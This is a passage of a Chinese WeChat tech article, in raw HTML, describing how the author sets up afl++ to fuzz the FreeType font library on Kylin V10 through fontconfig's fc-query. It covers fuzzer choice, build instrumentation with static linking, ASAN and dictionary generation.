15px;visibility: visible;">统上的软件库，其开源代码不难找到。目前网络上比较流行的针对应用层开源程序的Fuzzing工具有afl、afl++、honggfuzz、libfuzzer等，以及在这些工具基础上通过添加各种先进的功能而衍生的变种fuzzer。感兴趣的读者们可以去github上搜索相关的Fuzzing项</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 15px;visibility: visible;">目，如afl相关的项目</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;visibility: visible;font-size: 15px;">Awesome-AFL</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 15px;visibility: visible;">。</span></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 15px;visibility: visible;">如此多的Fuzzing工具，普通用户该如何选择呢？</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 15px;visibility: visible;">Google推出了可用于评估Fuzzer的开源免费服务FuzzBench，FuzzBench提供用户方便但严格的模糊测试，</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;text-align: justify;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;font-size: 15px;visibility: visible;">帮助用户们筛选出最合适的<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">F</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">uzzing</span>工具。当前较新的测试结果如下：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8268518518518518" data-s="300,640" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=a35c2647&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSO5lBwCQUia2fMvU2bOicEibYVfsR4TNtTWDgAYBXY3UlbeBp44K87lkibwA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">从这张图片可以看出，aflplusplus在两个排行榜都是第一，这意味着aflplusplus这个工具可以以更快的速度触发应用程序更多的代码覆盖率。因此，afl++就是用户开发应用层开源程序的<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">首选</span>fuzzing工具。</span></p><h4 cid="n9" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;letter-spacing: 0.544px;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">测试目标分析</span></h4><p cid="n10" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">由于希望助力国产操作系统，此处笔者选择银河麒麟V10操作系统上的应用软件作为测试目标。经过一番查找后，笔者决定对字体引擎<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">方向的</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">软件进行探索</span>。</span></p><p cid="n11" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者于claude.ai上对基于Linux的字体解析引擎提问，得到的回复如下：</span></p><pre spellcheck="false" lang="" cid="n12" mdtype="fences" style="overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><span style="font-size: 14px;"><span role="presentation" style="padding-right: 0.1px;">在Linux系统上，常见的用于字体解析和渲染的开源引擎库主要有:</span><br/><span role="presentation" style="padding-right: 0.1px;">1. FreeType</span><br/><span role="presentation" style="padding-right: 0.1px;">FreeType一个流行的开源字体解析和渲染引擎，支持多种字体格式，能高质量地渲染字体。FreeType提供字体解析、贴图生成等功能。</span><br/><span role="presentation" style="padding-right: 0.1px;">2. Fontconfig</span><br/><span role="presentation" style="padding-right: 0.1px;">Fontconfig是一个字体配置和自定义库，它与FreeType结合使用，用于查找和匹配系统字体。</span><br/><span role="presentation" style="padding-right: 0.1px;">3. Cairo</span><br/><span role="presentation" style="padding-right: 0.1px;">Cairo是一个2D图形库，它使用FreeType进行字体渲染，可以渲染字体为图像、PDF等格式。</span><br/><span role="presentation" style="padding-right: 0.1px;">4. Pango</span><br/><span role="presentation" style="padding-right: 0.1px;">Pango是基于Cairo和HarfBuzz的文字布局和渲染库，用于国际化文本处理。</span><br/><span role="presentation" style="padding-right: 0.1px;">5. HarfBuzz</span><br/><span role="presentation" style="padding-right: 0.1px;">HarfBuzz专注于OpenType字体排版，可以与FreeType集成，提高文字形状的支持。</span><br/><span role="presentation" style="padding-right: 0.1px;">此外，还有一些轻量级字体引擎，以及图形系统自身也含有字体支持。综合利用这些库，在Linux上可以灵活地支持文本渲染和字体处理。</span></span></pre><p cid="n13" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">根据上述内容，笔者利用freetype、fontconfig做关键字，对kylin-font-viewer应用进行了粗略分析，发现导入了freetype、fontconfig相关的so文件，如图所示：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.15" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=892aa838&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOP11f3tTw4gKsibaN7tkicnyjKHLBRTryNWvtVXIdnVk0YXCCvGnrVhicA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n15" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">此处freetype的so版本为libfreetype.so.6.17.1，</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">通过对freetype源码的分析，发现6.17.1版本对应freetype2.10.1版本的源码。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">为了初步验证，笔者查看了</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">freetype官方的更新声明，其中提到了2.10.2开始支持WOFF2字体。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">笔者</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">尝</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">试</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;">用银河麒麟上的字体管理工具加载woff2字体失败，此时基本可以确认so文件是freetype2.10.1版本编译而来。</span></p><p cid="n16" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><span style="background-color: rgb(255, 255, 255);">目标挑选好了一半，此时需要一个封装程序对freetype库函数进行调用，这是因为freetype本身是作为一个共享库供开发者使用，所以它缺少一个独立的应用。由于</span><span style="background-color: rgb(255, 255, 255);">字体管理工具这种GUI程序在fuzzing的时候会极大</span>地<span style="background-color: rgb(255, 255, 255);">影响整体速度，这里我们不再考虑。</span><span style="background-color: rgb(255, 255, 255);">查看fontconfig库的时候发现其内部有较多的工具实现了对freetype库的调用，其中fc-query、fc-scan这两个工具都可以用来作为Fuzzing的目标，其内部实现了对字体文件的解析。</span><span style="background-color: rgb(255, 255, 255);">笔者使用ltrace这个工具查看了fc-query解析字体文件时对freetype库的调用流程，如图所示：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2916666666666667" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3398f5c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOiaMGN9O7WwQCppOUX6mgdI2DCn4STHJPkVf26MU182icTgSIOym6eIgA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">结合freetype的官方文档，笔者认为fc-query可以作为一个简单的程序来对freetype进行模糊测试，这样可以节省编写harness的时间（后续发现并非如此）。</span></p><h3 cid="n19" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;letter-spacing: 0.544px;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">Fuzzing初探</span></h3><p cid="n20" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">将afl++下载完成后，接着按照官方文档下载必要的第三方库，最后让make source-only编译需要的应用如afl-fuzz、afl-clang-fast即可。此处我们仅需fuzzing源码的应用。下面是Fuzzing过程的具体步骤：</span></p><p cid="n23" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">1.编写harness</span></strong></p><p cid="n24" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">经过分析，我们直接使用fontconfig的程序fc-query进行Fuzzing。</span></p><p cid="n26" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">2.编译目标</span></strong></p><p cid="n27" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者在编译fontconfig的fc-query时，按照了官方标准传递<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">编译参数</span>，这就导致了它在链接过程会直接加载当前系统的freetype库，而系统的freetype库是未进行&#34;代码<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">插</span>桩&#34;的；在afl++中，尽量将程序打包为一个静态应用，从而避免对动态共享库进行Fuzzing，否则在统计程序覆盖率的反馈时会出现问题。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.24444444444444444" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d795dac4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOiaAibCuCsc6J2r8cSRRwoojDCjKR6bwCVVyJl99NE3MuYaXUaPFiaamgA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n29" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">因此，正确的流程是先编译freetype生成一个插桩后的libfreetype.a文件，接下来在编译fontconfig时，将libfreetype.a文件的路径传递给LDFLAGS标志，这样生成的fc-query虽仍是一个动态链接的文件，但至少将freetype库包含在内。由于我们的目标就是对freetype进行测试，这样的结果也算是基本满足Fuzzing的需求。</span></p><p cid="n30" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">为了能够更好地检测崩溃，笔者在编译的时候加入了环境变量</span><span style="color: rgb(51, 51, 51);text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;visibility: visible;font-size: 15px;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">AFL_USE_ASAN=1</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">，如此能够在源码中插入ASAN的检测块。ASAN（AddressSanitizer）是一种内存错误检测工具，主要用来帮助发现和调试内存相关的漏洞。ASAN由Google团队创建，经过多年发展		  	已经成为编译器工具链和测试工具的重要组件，它可以用来检测如<strong>缓冲区溢出、内存越界访问、释放后重用、双重释放</strong>等漏洞。当前afl++提供了多个不同的崩溃检测类型如ASAN、MSAN、TSAN等等，后续还会做更多的测试来尝试寻找不同类型的崩溃。</span></p><p cid="n31" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">afl++本身支持输入字典来辅助提高代码覆盖率，特别是针对一些结构化信息较高的程序。通过afl++的随机变异可能难以满足特定的判断条件，如特定序列的字符串、大整数、大浮点数等。通过提供</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">一个和程序相关性较高的字典文件，可以有效提高程序的代码覆盖率。为了简化这一过程，afl++支持在编译目标应用时，会直接生成相关的字典文件，方便在后续的Fuzzing过程中使用时添加对应的环境变量</span><span style="font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">export AFL_LLVM_DICT2FILE=/full/path/to/new/file.dic</code></span></span><span style="font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;">。</span><span style="font-size: 15px;"><span style="color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;">在编译结束后，即可看到由编译器生成的字典文件。</span></span></p><p cid="n32" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: 